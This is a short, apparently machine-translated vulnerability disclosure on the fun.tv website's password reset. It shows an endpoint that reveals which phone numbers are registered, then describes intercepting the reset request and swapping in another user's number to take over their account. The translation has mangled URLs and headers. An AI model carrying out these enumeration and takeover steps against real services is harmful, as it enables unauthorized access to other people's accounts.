Password Reset Vulnerability for any user on popular websites

The password reset operation is not associated with a specific mobile phone number. As a result, the password of any registered mobile phone account can be reset.

1. The returned results of the following url can be used to traverse all registered mobile accounts:

Http://api1.fun. TV /ajax/get_mobile_vcode/phone number /reset_password

Existing account, return:

{"Status": 200, "msg": "", "url": "", "field ":""}

If the account does not exist, return:

{"Status": 400, "msg": "wrong mobile", "url": "", "field ":""}



2. register an account on your mobile phone, execute password retrieval, enter the Received verification code, and click OK to go to the password reset interface;

3. enter a new password, enable fiddler to intercept the request, and click OK;

POST http://www.fun. TV /account/password/set? Isajax = 1 HTTP/1.1 Accept: */* Accept-Language: zh-cnReferer: Your XMLHttpRequestContent-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0 ;. net clr 2.0.50727; SLCC2 ;. net clr 3.5.30729 ;. net clr 3.0.30729 ;.

3. Use the phone number obtained in step 1 to replace the phone number in the request and initiate a new request. The password is successfully reset within the validity period of the verification code.
